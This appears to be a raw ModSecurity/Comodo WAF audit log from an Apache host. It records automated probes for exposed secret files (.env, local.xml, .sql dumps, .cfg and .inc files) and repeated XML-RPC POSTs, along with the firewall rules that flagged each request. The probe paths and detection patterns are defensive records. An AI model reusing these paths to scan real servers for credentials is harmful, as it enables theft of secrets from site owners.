<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3bd272bbdf8ee2c3b857c5ee3ab8aeda1750017810; expires=Sun, 15 Jun 2025 21:03:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53f6f733-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/symfony/.env"] [unique_id "aE8nEbSOi14Mt1Fv4_TAQwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017809704043 669310 (- - -) Stopwatch2: 1750017809704043 669310; combined=1748, p1=412, p2=1214, p3=0, p4=0, p5=122, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53f6f733-Z-- --b335637f-A-- [16/Jun/2025:01:33:36.069535 +0530] aE8nF-lwC_5a57d00cX_igAAAAI 128.199.112.101 58862 127.0.0.1 7081 --b335637f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b335637f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b335637f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8nF-lwC_5a57d00cX_igAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017815037533 1032059 (- - -) Stopwatch2: 1750017815037533 1032059; combined=2400, p1=433, p2=1584, p3=40, p4=60, p5=179, sr=130, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b335637f-Z-- --1c328570-A-- [16/Jun/2025:01:33:48.943352 +0530] aE8nJDwutQMQaeKIpO_QewAAAAg 185.177.72.210 43496 127.0.0.1 7081 --1c328570-B-- GET /app/etc/local.xml.additional HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c328570-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e44cced4300c523188c493a88cf586e01750017828; expires=Sun, 15 Jun 2025 21:03:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c328570-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.additional"] [unique_id "aE8nJDwutQMQaeKIpO_QewAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017828275430 667986 (- - -) Stopwatch2: 1750017828275430 667986; combined=1965, p1=356, p2=1502, p3=0, p4=0, p5=106, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c328570-Z-- --49e55e63-A-- [16/Jun/2025:01:34:36.077708 +0530] aE8nUz6fDirgE_qJvgHN8QAAAAA 128.199.112.101 53348 127.0.0.1 7081 --49e55e63-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --49e55e63-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --49e55e63-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8nUz6fDirgE_qJvgHN8QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017875113199 964565 (- - -) Stopwatch2: 1750017875113199 964565; combined=2174, p1=399, p2=1328, p3=58, p4=77, p5=201, sr=118, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49e55e63-Z-- --2a57326d-A-- [16/Jun/2025:01:34:48.918854 +0530] aE8nYDwutQMQaeKIpO_QkQAAAAg 185.177.72.210 35488 127.0.0.1 7081 --2a57326d-B-- GET /app/config/routes.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a57326d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05ca1426f2850d22f374569a600f77c71750017888; expires=Sun, 15 Jun 2025 21:04:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a57326d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/app/config/routes.cfg"] [unique_id "aE8nYDwutQMQaeKIpO_QkQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017888245825 673091 (- - -) Stopwatch2: 1750017888245825 673091; combined=2121, p1=350, p2=1678, p3=0, p4=0, p5=92, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a57326d-Z-- --0bbc9b4e-A-- [16/Jun/2025:01:34:53.730371 +0530] aE8nZTZWrQ9Ly--lMo_9EQAAAAE 185.177.72.210 44054 127.0.0.1 7081 --0bbc9b4e-B-- GET /includes/adovbs.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0bbc9b4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=02cfee64a45badcc38b4d91921f29e251750017893; expires=Sun, 15 Jun 2025 21:04:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0bbc9b4e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/includes/adovbs.inc"] [unique_id "aE8nZTZWrQ9Ly--lMo_9EQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017893069512 660943 (- - -) Stopwatch2: 1750017893069512 660943; combined=1962, p1=343, p2=1526, p3=0, p4=0, p5=93, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0bbc9b4e-Z-- --7934cb59-A-- [16/Jun/2025:01:34:54.749801 +0530] aE8nZjwutQMQaeKIpO_QkwAAAAg 185.177.72.210 44088 127.0.0.1 7081 --7934cb59-B-- GET /:10000/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7934cb59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7319b89ff4ed0a119fd9c610506c67f51750017894; expires=Sun, 15 Jun 2025 21:04:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7934cb59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/rest/.env"] [unique_id "aE8nZjwutQMQaeKIpO_QkwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017894051831 698034 (- - -) Stopwatch2: 1750017894051831 698034; combined=1682, p1=373, p2=1216, p3=0, p4=0, p5=92, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7934cb59-Z-- --67dd2103-A-- [16/Jun/2025:01:34:58.631271 +0530] aE8naYfvqn7_SDWw_wX6QwAAAAc 185.177.72.210 44224 127.0.0.1 7081 --67dd2103-B-- GET /:8443/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --67dd2103-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=388348d214c911751693fe91778ba5fb1750017898; expires=Sun, 15 Jun 2025 21:04:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --67dd2103-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/front-end/.env"] [unique_id "aE8naYfvqn7_SDWw_wX6QwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017897969292 662041 (- - -) Stopwatch2: 1750017897969292 662041; combined=1706, p1=354, p2=1234, p3=0, p4=0, p5=117, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --67dd2103-Z-- --deae5837-A-- [16/Jun/2025:01:35:02.956577 +0530] aE8nbrSOi14Mt1Fv4_TAZgAAAAo 185.177.72.210 39426 127.0.0.1 7081 --deae5837-B-- GET /:9000/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --deae5837-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5c89b7b7930c8e4b9e3690609e2eaaee1750017902; expires=Sun, 15 Jun 2025 21:05:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --deae5837-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/web/.env"] [unique_id "aE8nbrSOi14Mt1Fv4_TAZgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017902231597 725044 (- - -) Stopwatch2: 1750017902231597 725044; combined=2536, p1=371, p2=2035, p3=0, p4=0, p5=129, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deae5837-Z-- --934dc311-A-- [16/Jun/2025:01:35:36.984257 +0530] aE8nkD6fDirgE_qJvgHOCAAAAAA 128.199.112.101 35632 127.0.0.1 7081 --934dc311-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --934dc311-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --934dc311-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8nkD6fDirgE_qJvgHOCAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017936019770 964556 (- - -) Stopwatch2: 1750017936019770 964556; combined=2114, p1=354, p2=1273, p3=45, p4=66, p5=226, sr=103, sw=150, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --934dc311-Z-- --c3720f5e-A-- [16/Jun/2025:01:36:37.722123 +0530] aE8nzNIbhVRiWyGD7lOG0gAAAAM 128.199.112.101 48256 127.0.0.1 7081 --c3720f5e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 505 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c3720f5e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c3720f5e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8nzNIbhVRiWyGD7lOG0gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017996700958 1021222 (- - -) Stopwatch2: 1750017996700958 1021222; combined=2826, p1=493, p2=1946, p3=43, p4=66, p5=173, sr=137, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3720f5e-Z-- --f0919550-A-- [16/Jun/2025:01:37:05.806776 +0530] aE8n6T6fDirgE_qJvgHOOAAAAAA 185.177.72.210 52426 127.0.0.1 7081 --f0919550-B-- GET /mysql_debug.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0919550-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=464e856eb3fc02a084ab76135312727e1750018025; expires=Sun, 15 Jun 2025 21:07:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0919550-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/mysql_debug.sql"] [unique_id "aE8n6T6fDirgE_qJvgHOOAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018025099378 707542 (- - -) Stopwatch2: 1750018025099378 707542; combined=1834, p1=365, p2=1355, p3=0, p4=0, p5=113, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0919550-Z-- --d58d8e40-A-- [16/Jun/2025:01:37:17.004110 +0530] aE8n9DZWrQ9Ly--lMo_9WQAAAAE 185.177.72.210 53044 127.0.0.1 7081 --d58d8e40-B-- GET /dataset1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d58d8e40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=150725c2a6b42dc9af7e785c21203e941750018036; expires=Sun, 15 Jun 2025 21:07:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d58d8e40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dataset1/.env"] [unique_id "aE8n9DZWrQ9Ly--lMo_9WQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018036350305 653883 (- - -) Stopwatch2: 1750018036350305 653883; combined=2577, p1=499, p2=1964, p3=0, p4=0, p5=113, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d58d8e40-Z-- --c7819d11-A-- [16/Jun/2025:01:37:20.817729 +0530] aE8n-F2YlG5AqHgt0_Kn8gAAAAQ 185.177.72.210 54252 127.0.0.1 7081 --c7819d11-B-- GET /:8443/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c7819d11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c94cc488a04854ecbdf2aefa455e1a611750018040; expires=Sun, 15 Jun 2025 21:07:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c7819d11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 